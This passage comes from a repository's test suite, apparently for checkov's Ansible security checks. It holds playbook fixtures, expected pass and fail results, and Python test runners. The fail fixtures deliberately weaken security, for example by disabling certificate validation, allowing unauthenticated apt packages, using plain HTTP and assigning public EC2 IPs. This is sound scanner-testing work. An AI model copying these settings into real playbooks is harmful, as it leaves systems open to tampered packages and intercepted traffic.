    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Zone_fail_1\n      paloaltonetworks.panos.panos_zone:\n        provider: '{{ provider }}'\n        zone: 'dmz'\n        mode: 'layer3'\n        # Zone Protection Profile not specified, which is a fail\n\n    - name: Zone_fail_2\n      paloaltonetworks.panos.panos_zone:\n        provider: '{{ provider }}'\n        zone: 'dmz'\n        mode: 'layer3'\n        zone_profile: '' # Empty Zone Protection Profile specified, which is a pass\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosZoneProtectionProfile/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Zone_pass_1\n      paloaltonetworks.panos.panos_zone:\n        provider: '{{ provider }}'\n        zone: 'dmz'\n        mode: 'layer3'\n        zone_profile: 'strict' # Zone Protection Profile specified, which is a pass\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosZoneUserIDIncludeACL/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_zone.Zone_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_zone.Zone_pass_2\"\n  - \"tasks.paloaltonetworks.panos.panos_zone.Zone_pass_3\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_zone.Zone_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_zone.Zone_fail_2\"\nevaluated_keys:\n  - \"include_acl\"\n  - \"enable_userid\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosZoneUserIDIncludeACL/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Zone_fail_1\n      paloaltonetworks.panos.panos_zone:\n        provider: '{{ provider }}'\n        zone: 'dmz'\n        mode: 'layer3'\n        zone_profile: 'strict'\n        enable_userid: true\n        # User-ID (enable_userid) is enabled and include ACL (include_acl) is not specified so defaults to none\n\n    - name: Zone_fail_2\n      paloaltonetworks.panos.panos_zone:\n        provider: '{{ provider }}'\n        zone: 'dmz'\n        mode: 'layer3'\n        zone_profile: 'strict'\n        enable_userid: true\n        include_acl: ['']\n        # User-ID (enable_userid) is enabled and include ACL (include_acl) is empty\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosZoneUserIDIncludeACL/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Zone_pass_1\n      paloaltonetworks.panos.panos_zone:\n        provider: '{{ provider }}'\n        zone: 'dmz'\n        mode: 'layer3'\n        zone_profile: 'strict'\n        enable_userid: true\n        include_acl: ['10.0.200.0/24']\n        # User-ID (enable_userid) is enabled and include ACL is specified, single ACL subnet\n\n    - name: Zone_pass_2\n      paloaltonetworks.panos.panos_zone:\n        provider: '{{ provider }}'\n        zone: 'dmz'\n        mode: 'layer3'\n        zone_profile: 'strict'\n        enable_userid: true\n        include_acl: ['10.0.200.0/24', '10.0.300.0/24']\n        # User-ID (enable_userid) is enabled and include ACL is specified, multiple ACL subnets\n\n    - name: Zone_pass_3\n      paloaltonetworks.panos.panos_zone:\n        provider: '{{ provider }}'\n        zone: 'dmz'\n        mode: 'layer3'\n        zone_profile: 'strict'\n        # User-ID is not enabled (enable_userid not specified, defaults to false) so no include ACL is required\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/UriHttpsOnly/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.uri.https\"\nfail:\n  - \"tasks.uri.http\"\nevaluated_keys:\n  - \"url\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/UriHttpsOnly/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: http\n      uri:\n        url: http://www.example.com\n        return_content: yes\n      register: this\n      failed_when: \"'AWESOME' not in this.content\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/UriHttpsOnly/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: https\n      ansible.builtin.uri:\n        url: https://www.example.com\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/test_yaml_policies.py",
    "content": "import warnings\nfrom pathlib import Path\nfrom typing import List\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.graph_manager import ObjectGraphManager\nfrom checkov.ansible.graph_builder.local_graph import AnsibleLocalGraph\nfrom tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestYamlPolicies(TestYamlPoliciesBase):\n    def __init__(self, args):\n        db_connector = set_db_connector_by_graph_framework(self.graph_framework)\n        graph_manager = ObjectGraphManager(db_connector=db_connector, source=\"Ansible\")\n        super().__init__(\n            graph_manager=graph_manager,\n            real_graph_checks_path=str(\n                Path(__file__).parent.parent.parent.parent.parent / \"checkov/ansible/checks/graph_checks\"\n            ),\n            test_checks_path=\"\",\n            check_type=CheckType.ANSIBLE,\n            test_file_path=__file__,\n            args=args,\n        )\n\n    def setUp(self) -> None:\n        warnings.filterwarnings(\"ignore\", category=ResourceWarning)\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n    def test_BlockErrorHandling(self):\n        self.go(\"BlockErrorHandling\", local_graph_class=AnsibleLocalGraph)\n\n    def test_GetUrlHttpsOnly(self):\n        self.go(\"GetUrlHttpsOnly\", local_graph_class=AnsibleLocalGraph)\n\n    def test_UriHttpsOnly(self):\n        self.go(\"UriHttpsOnly\", local_graph_class=AnsibleLocalGraph)\n\n    def test_DnfDisableGpgCheck(self):\n        self.go(\"DnfDisableGpgCheck\", local_graph_class=AnsibleLocalGraph)\n\n    def test_DnfSslVerify(self):\n        self.go(\"DnfSslVerify\", local_graph_class=AnsibleLocalGraph)\n\n    def test_DnfValidateCerts(self):\n        self.go(\"DnfValidateCerts\", local_graph_class=AnsibleLocalGraph)\n    \n    # PAN-OS checks\n    def test_PanosPolicyNoDSRI(self):\n        self.go(\"PanosPolicyNoDSRI\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosPolicyDescription(self):\n        self.go(\"PanosPolicyDescription\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosPolicyNoServiceAny(self):\n        self.go(\"PanosPolicyNoServiceAny\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosPolicyNoApplicationAny(self):\n        self.go(\"PanosPolicyNoApplicationAny\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosPolicyNoSrcAnyDstAny(self):\n        self.go(\"PanosPolicyNoSrcAnyDstAny\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosInterfaceMgmtProfileNoHTTP(self):\n        self.go(\"PanosInterfaceMgmtProfileNoHTTP\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosInterfaceMgmtProfileNoTelnet(self):\n        self.go(\"PanosInterfaceMgmtProfileNoTelnet\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosPolicyLogForwarding(self):\n        self.go(\"PanosPolicyLogForwarding\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosPolicyLoggingEnabled(self):\n        self.go(\"PanosPolicyLoggingEnabled\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosZoneProtectionProfile(self):\n        self.go(\"PanosZoneProtectionProfile\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosZoneUserIDIncludeACL(self):\n        self.go(\"PanosZoneUserIDIncludeACL\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosPolicyLogSessionStart(self):\n        self.go(\"PanosPolicyLogSessionStart\", local_graph_class=AnsibleLocalGraph)\n\n    def test_PanosPolicyNoSrcZoneAnyNoDstZoneAny(self):\n        self.go(\"PanosPolicyNoSrcZoneAnyNoDstZoneAny\", local_graph_class=AnsibleLocalGraph)\n\n    def test_registry_load(self):\n        registry = self.get_checks_registry()\n        self.assertGreater(len(registry.checks), 0)\n\n    def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]):\n        evaluated_keys_results = results[0].check_result[\"evaluated_keys\"]\n        self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results)\n\n    def create_report_from_graph_checks_results(self, checks_results, check):\n        report = Report(CheckType.ANSIBLE)\n        first_results_key = list(checks_results.keys())[0]\n        for check_result in checks_results[first_results_key]:\n            entity = check_result[\"entity\"]\n            record = Record(\n                check_id=check[\"id\"],\n                check_name=check[\"name\"],\n                check_result=check_result,\n                code_block=[(0, \"\")],\n                file_path=entity.get(CustomAttributes.FILE_PATH),\n                file_line_range=[entity.get(\"__startline__\"), entity.get(\"__endline__\")],\n                resource=f\"{entity.get(CustomAttributes.BLOCK_NAME)}\",\n                entity_tags=entity.get(\"tags\", {}),\n                evaluations=None,\n                check_class=\"\",\n                file_abs_path=entity.get(CustomAttributes.FILE_PATH),\n            )\n            if check_result[\"result\"] == CheckResult.PASSED:\n                report.passed_checks.append(record)\n            if check_result[\"result\"] == CheckResult.FAILED:\n                report.failed_checks.append(record)\n        return report\n"
  },
  {
    "path": "tests/ansible/checks/task/__init__.py",
    "content": ""
  },
  {
    "path": "tests/ansible/checks/task/aws/EC2EBSOptimized/expected.yaml",
    "content": "pass:\n  - \"tasks.amazon.aws.ec2_instance.enabled\"\nfail:\n  - \"tasks.amazon.aws.ec2_instance.default\"\n  - \"tasks.ec2_instance.disabled\"\n"
  },
  {
    "path": "tests/ansible/checks/task/aws/EC2EBSOptimized/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: default\n      amazon.aws.ec2_instance:\n        name: \"public-compute-instance\"\n        key_name: \"prod-ssh-key\"\n        vpc_subnet_id: subnet-5ca1ab1e\n        instance_type: c5.large\n        security_group: default\n        network:\n          assign_public_ip: true\n        image_id: ami-123456\n\n    - name: disabled\n      ec2_instance:\n        name: \"public-compute-instance\"\n        key_name: \"prod-ssh-key\"\n        vpc_subnet_id: subnet-5ca1ab1e\n        instance_type: c5.large\n        security_group: default\n        network:\n          assign_public_ip: false\n        image_id: ami-123456\n        ebs_optimized: false\n"
  },
  {
    "path": "tests/ansible/checks/task/aws/EC2EBSOptimized/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: enabled\n      amazon.aws.ec2_instance:\n        name: \"public-compute-instance\"\n        key_name: \"prod-ssh-key\"\n        vpc_subnet_id: subnet-5ca1ab1e\n        instance_type: c5.large\n        security_group: default\n        network:\n          assign_public_ip: false\n        image_id: ami-123456\n        ebs_optimized: true\n"
  },
  {
    "path": "tests/ansible/checks/task/aws/EC2EBSOptimized/unknown.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: filter\n      amazon.aws.ec2_instance:\n        state: absent\n        filters:\n          instance-state-name: running\n\n    - name: instance_id\n      amazon.aws.ec2_instance:\n        state: restarted\n        instance_ids:\n          - i-12345678\n"
  },
  {
    "path": "tests/ansible/checks/task/aws/EC2PublicIP/expected.yaml",
    "content": "pass:\n  - \"tasks.amazon.aws.ec2_instance.private\"\nfail:\n  - \"tasks.amazon.aws.ec2_instance.default\"\n  - \"tasks.ec2_instance.public\"\n"
  },
  {
    "path": "tests/ansible/checks/task/aws/EC2PublicIP/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: default\n      amazon.aws.ec2_instance:\n        name: \"public-compute-instance\"\n        key_name: \"prod-ssh-key\"\n        vpc_subnet_id: subnet-5ca1ab1e\n        instance_type: c5.large\n        security_group: default\n        image_id: ami-123456\n\n    - name: public\n      ec2_instance:\n        name: \"public-compute-instance\"\n        key_name: \"prod-ssh-key\"\n        vpc_subnet_id: subnet-5ca1ab1e\n        instance_type: c5.large\n        security_group: default\n        network:\n          assign_public_ip: true\n        image_id: ami-123456\n        ebs_optimized: false\n"
  },
  {
    "path": "tests/ansible/checks/task/aws/EC2PublicIP/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: private\n      amazon.aws.ec2_instance:\n        name: \"public-compute-instance\"\n        key_name: \"prod-ssh-key\"\n        vpc_subnet_id: subnet-5ca1ab1e\n        instance_type: c5.large\n        security_group: default\n        network:\n          assign_public_ip: false\n        image_id: ami-123456\n        ebs_optimized: true\n"
  },
  {
    "path": "tests/ansible/checks/task/aws/EC2PublicIP/unknown.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: filter\n      amazon.aws.ec2_instance:\n        state: absent\n        filters:\n          instance-state-name: running\n\n    - name: instance_id\n      amazon.aws.ec2_instance:\n        state: restarted\n        instance_ids:\n          - i-12345678\n"
  },
  {
    "path": "tests/ansible/checks/task/aws/__init__.py",
    "content": ""
  },
  {
    "path": "tests/ansible/checks/task/builtin/AptAllowUnauthenticated/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.apt.long_implicit_ok\"\n  - \"tasks.apt.short_implicit_ok\"\n  - \"tasks.ansible.builtin.apt.long_explicit_ok\"\n  - \"tasks.apt.short_explicit_ok\"\nfail:\n  - \"tasks.ansible.builtin.apt.long_unsafe\"\n  - \"tasks.apt.short_unsafe\"\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/AptAllowUnauthenticated/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_unsafe\n      ansible.builtin.apt:\n        name: openssl\n        state: latest\n        allow_unauthenticated: yes\n\n    - name: short_unsafe\n      apt:\n        name: openssl\n        state: latest\n        allow_unauthenticated: true\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/AptAllowUnauthenticated/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_implicit_ok\n      ansible.builtin.apt:\n        name: apache2\n        state: present\n        install_recommends: no\n\n    - name: short_implicit_ok\n      apt:\n        name: nginx\n        state: present\n\n    - name: long_explicit_ok\n      ansible.builtin.apt:\n        name: openssl\n        state: latest\n        allow_unauthenticated: false\n\n    - name: short_explicit_ok\n      apt:\n        name: ca-certificates\n        state: latest\n        allow_unauthenticated: false\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/AptForce/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.apt.long_implicit_ok\"\n  - \"tasks.apt.short_implicit_ok\"\n  - \"tasks.ansible.builtin.apt.long_explicit_ok\"\n  - \"tasks.apt.short_explicit_ok\"\nfail:\n  - \"tasks.ansible.builtin.apt.long_unsafe\"\n  - \"tasks.apt.short_unsafe\"\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/AptForce/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_unsafe\n      ansible.builtin.apt:\n        name: openssl\n        state: latest\n        force: true\n\n    - name: short_unsafe\n      apt:\n        name: openssl\n        state: latest\n        force: true\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/AptForce/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: long_implicit_ok\n      ansible.builtin.apt:\n        name: apache2\n        state: present\n        install_recommends: no\n\n    - name: short_implicit_ok\n      apt:\n        name: nginx\n        state: present\n\n    - name: long_explicit_ok\n      ansible.builtin.apt:\n        name: openssl\n        state: latest\n        force: false\n\n    - name: short_explicit_ok\n      apt:\n        name: ca-certificates\n        state: latest\n        force: false\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/GetUrlValidateCerts/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.get_url.default\"\n  - \"tasks.get_url.enabled\"\nfail:\n  - \"tasks.get_url.disabled\"\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/GetUrlValidateCerts/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: disabled\n      get_url:\n        url: https://example.com/path/file.conf\n        dest: /etc/foo.conf\n        force_basic_auth: yes\n        validate_certs: false\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/GetUrlValidateCerts/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: default\n      ansible.builtin.get_url:\n        url: https://example.com/path/file.conf\n        dest: /etc/foo.conf\n        mode: '0440'\n\n    - name: enabled\n      get_url:\n        url: https://example.com/path/file.conf\n        dest: /etc/foo.conf\n        force_basic_auth: yes\n        validate_certs: true\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/UriValidateCerts/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.uri.default\"\n  - \"tasks.uri.enabled\"\nfail:\n  - \"tasks.uri.disabled\"\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/UriValidateCerts/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: disabled\n      uri:\n        url: https://www.example.com\n        return_content: yes\n        validate_certs: false\n      register: this\n      failed_when: \"'AWESOME' not in this.content\"\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/UriValidateCerts/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: default\n      ansible.builtin.uri:\n        url: https://www.example.com\n\n    - name: enabled\n      uri:\n        url: https://www.example.com\n        return_content: yes\n        validate_certs: true\n      register: this\n      failed_when: \"'AWESOME' not in this.content\"\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/YumSslVerify/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.yum.default\"\n  - \"tasks.yum.enabled\"\nfail:\n  - \"tasks.yum.disabled\"\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/YumSslVerify/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: disabled\n      yum:\n        name: httpd>=2.4\n        state: present\n        sslverify: false\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/YumSslVerify/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: default\n      ansible.builtin.yum:\n        name: httpd\n        state: latest\n\n    - name: enabled\n      yum:\n        name: httpd>=2.4\n        state: present\n        sslverify: true\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/YumValidateCerts/expected.yaml",
    "content": "pass:\n  - \"tasks.ansible.builtin.yum.default\"\n  - \"tasks.yum.enabled\"\nfail:\n  - \"tasks.yum.disabled\"\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/YumValidateCerts/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: disabled\n      yum:\n        name: httpd>=2.4\n        state: present\n        validate_certs: false\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/YumValidateCerts/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: default\n      ansible.builtin.yum:\n        name: httpd\n        state: latest\n\n    - name: enabled\n      yum:\n        name: httpd>=2.4\n        state: present\n        validate_certs: true\n"
  },
  {
    "path": "tests/ansible/checks/task/builtin/__init__.py",
    "content": ""
  },
  {
    "path": "tests/ansible/checks/test_python_policies.py",
    "content": "from __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\n\nfrom checkov.ansible.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.common.graph.checks.test_yaml_policies_base import load_yaml_data\n\nBASE_DIR = Path(__file__).parent\nCHECK_ID_MAP: \"dict[str, str]\" = {}  # will be filled via setup()\n\n\n# Builtin module checks\ndef test_GetUrlValidateCerts():\n    run_check(base_path=BASE_DIR / \"task/builtin\", check=\"GetUrlValidateCerts\")\n\n\ndef test_UriValidateCerts():\n    run_check(base_path=BASE_DIR / \"task/builtin\", check=\"UriValidateCerts\")\n\n\ndef test_YumSslVerify():\n    run_check(base_path=BASE_DIR / \"task/builtin\", check=\"YumSslVerify\")\n\n\ndef test_YumValidateCerts():\n    run_check(base_path=BASE_DIR / \"task/builtin\", check=\"YumValidateCerts\")\n\n\ndef test_AptAllowUnauthenticated():\n    run_check(base_path=BASE_DIR / \"task/builtin\", check=\"AptAllowUnauthenticated\")\n\n\ndef test_AptForce():\n    run_check(base_path=BASE_DIR / \"task/builtin\", check=\"AptForce\")\n\n\n# AWS module checks\ndef test_EC2EBSOptimized():\n    run_check(base_path=BASE_DIR / \"task/aws\", check=\"EC2EBSOptimized\")\n\n\ndef test_EC2PublicIP():\n    run_check(base_path=BASE_DIR / \"task/aws\", check=\"EC2PublicIP\")\n\n\n@pytest.fixture(autouse=True)\ndef setup():\n    global CHECK_ID_MAP\n    registry = Runner().import_registry()\n    CHECK_ID_MAP = {check.__class__.__name__: check.id for entity, check in registry.all_checks()}\n\n\ndef run_check(base_path: Path, check: str) -> None:\n    # set path where to find test files\n    test_dir_path = base_path / check\n\n    # setup Ansible runner\n    runner = Runner()\n\n    # run actual check\n    report = runner.run(root_folder=str(test_dir_path), runner_filter=RunnerFilter(checks=CHECK_ID_MAP[check]))\n\n    # get actual results\n    summary = report.get_summary()\n    passed_checks = {check.resource for check in report.passed_checks}\n    failed_checks = {check.resource for check in report.failed_checks}\n\n    # get expected results\n    expected = load_yaml_data(dir_path=test_dir_path, source_file_name=\"expected.yaml\")\n\n    # make sure it is a dict\n    assert isinstance(expected, dict)\n\n    expected_to_pass = expected.get(\"pass\") or []\n    expected_to_fail = expected.get(\"fail\") or []\n\n    # check, if results are correct\n    assert summary[\"passed\"] == len(expected_to_pass)\n    assert summary[\"failed\"] == len(expected_to_fail)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_checks == set(expected_to_pass)\n    assert failed_checks == set(expected_to_fail)\n"
  },
  {
    "path": "tests/ansible/examples/blocks.yml",
    "content": "---\n\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: Install, configure, and start Apache\n      block:\n        - name: Install httpd and memcached\n          ansible.builtin.yum:\n            name:\n              - httpd\n              - memcached\n            sslverify: False\n            state: latest\n\n        - name: Apply the foo config template\n          ansible.builtin.template:\n            src: templates/src.j2\n            dest: /etc/foo.conf\n\n        - name: Start service bar and enable it\n          ansible.builtin.service:\n            name: bar\n            state: started\n            enabled: True\n      when: ansible_facts['distribution'] == 'CentOS'\n      become: true\n      become_user: root\n      ignore_errors: true\n"
  },
  {
    "path": "tests/ansible/examples/empty_tasks.yml",
    "content": "---\n- name: Using a Role\n  hosts: all\n  roles:\n    - role: somerolename\n  tasks:\n"
  },
  {
    "path": "tests/ansible/examples/nested_blocks.yml",
    "content": "---\n\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: 1st level block\n      block:\n        - name: 2nd level block\n          block:\n            - name: 3rd level block\n              block:\n                - name: 4th level block\n                  block:\n                    - name: 5th level block\n                      block:\n                        - name: 6th level uri\n                          ansible.builtin.uri:\n                            url: https://www.example.com\n                    - name: 5th level uri\n                      ansible.builtin.uri:\n                        url: https://www.example.com\n                - name: 4th level uri\n                  ansible.builtin.uri:\n                    url: https://www.example.com\n            - name: 3rd level uri\n              ansible.builtin.uri:\n                url: https://www.example.com\n        - name: 2nd level uri\n          ansible.builtin.uri:\n            url: https://www.example.com\n    - name: 1st level uri\n      ansible.builtin.uri:\n        url: https://www.example.com\n"
  },
  {
    "path": "tests/ansible/examples/no_tasks.yml",
    "content": "---\n\n- name: Sample play\n  hosts:\n    - test\n  roles:\n    - role: somerole\n"
  },
  {
    "path": "tests/ansible/examples/site.yml",
    "content": "---\n\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: Get Running instance Info\n      amazon.aws.ec2_instance_info:\n      register: ec2info\n\n    - name: enabled\n      amazon.aws.ec2_instance:\n        name: \"public-compute-instance\"\n        key_name: \"prod-ssh-key\"\n        vpc_subnet_id: subnet-5ca1ab1e\n        instance_type: c5.large\n        security_group: default\n        network:\n          assign_public_ip: true\n        image_id: ami-123456\n        ebs_optimized: true\n"
  },
  {
    "path": "tests/ansible/examples/skip.yml",
    "content": "- hosts: localhost\n  gather_facts: false\n  tasks:\n    - name: Launch ec2 instances 1\n      #checkov:skip=CKV_AWS_135\n      amazon.aws.ec2_instance:\n        name: \"bc-office-hours\"\n        vpc_subnet_id: subnet-012d94ee641ab4277\n        instance_type: t3.micro\n        security_group: sg-04acc4e02a5b71244\n        image_id: \"{{ ami_latest.image_id }}\"\n        state: running\n\n    - name: Launch ec2 instances 2\n      amazon.aws.ec2_instance:\n        #checkov:skip=CKV_AWS_88\n        name: \"bc-office-hours\"\n        vpc_subnet_id: subnet-012d94ee641ab4277\n        instance_type: t3.micro\n        security_group: sg-04acc4e02a5b71244\n        image_id: \"{{ ami_latest.image_id }}\"\n        state: running\n\n    - name: http\n      #checkov:skip=CKV2_ANSIBLE_1\n      uri:\n        url: http://www.example.com\n        return_content: yes\n      register: this\n      failed_when: \"'AWESOME' not in this.content\"\n\n"
  },
  {
    "path": "tests/ansible/examples/tasks.yml",
    "content": "---\n\n- name: Check that you can connect (GET) to a page\n  uri:\n    url: https://www.example.com\n\n- name: Download foo.conf\n  ansible.builtin.get_url:\n    url: https://example.com/path/file.conf\n    dest: /etc/foo.conf\n    mode: '0440'\n    validate_certs: false\n"
  },
  {
    "path": "tests/ansible/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "tests/ansible/graph_builder/test_local_graph.py",
    "content": "from pathlib import Path\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.ansible.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.ansible.graph_builder.local_graph import AnsibleLocalGraph\nfrom checkov.ansible.runner import Runner\n\nEXAMPLES_DIR = Path(__file__).parent.parent / \"examples\"\n\n\ndef test_build_graph():\n    # given\n    test_file_site = str(EXAMPLES_DIR / \"site.yml\")\n    test_file_tasks = str(EXAMPLES_DIR / \"tasks.yml\")\n    template_site, _ = Runner()._parse_file(f=test_file_site)\n    template_tasks, _ = Runner()._parse_file(f=test_file_tasks)\n    local_graph = AnsibleLocalGraph(\n        definitions={\n            test_file_site: template_site,\n            test_file_tasks: template_tasks,\n        }\n    )\n\n    # when\n    local_graph.build_graph(render_variables=False)\n\n    # then\n    assert len(local_graph.vertices) == 4\n    assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 4\n\n    tasks_ids = [\n        vertex.id\n        for vertex in local_graph.vertices\n        if vertex.attributes.get(CustomAttributes.RESOURCE_TYPE).startswith(ResourceType.TASKS)\n    ]\n    assert tasks_ids == [\n        \"tasks.amazon.aws.ec2_instance_info.Get Running instance Info\",\n        \"tasks.amazon.aws.ec2_instance.enabled\",\n        \"tasks.uri.Check that you can connect (GET) to a page\",\n        \"tasks.ansible.builtin.get_url.Download foo.conf\",\n    ]\n"
  },
  {
    "path": "tests/ansible/test_graph_manager.py",
    "content": "from pathlib import Path\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.runners.graph_manager import ObjectGraphManager\nfrom checkov.ansible.graph_builder.local_graph import AnsibleLocalGraph\nfrom checkov.ansible.runner import Runner\nfrom checkov.common.util.consts import START_LINE, END_LINE\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_build_graph_from_definitions():\n    # given\n    test_file = str(EXAMPLES_DIR / \"site.yml\")\n    graph_manager = ObjectGraphManager(db_connector=NetworkxConnector(), source=\"Ansible\")\n    template, _ = Runner()._parse_file(f=test_file)\n\n    # when\n    local_graph = graph_manager.build_graph_from_definitions(\n        definitions={test_file: template}, graph_class=AnsibleLocalGraph\n    )\n\n    # then\n    assert len(local_graph.vertices) == 2\n\n    task_idx = local_graph.vertices_by_path_and_name[(test_file, \"tasks.amazon.aws.ec2_instance.enabled\")]\n    task = local_graph.vertices[task_idx]\n\n    assert task.block_type == BlockType.RESOURCE\n    assert task.id == \"tasks.amazon.aws.ec2_instance.enabled\"\n    assert task.source == \"Ansible\"\n    assert task.attributes[CustomAttributes.RESOURCE_TYPE] == 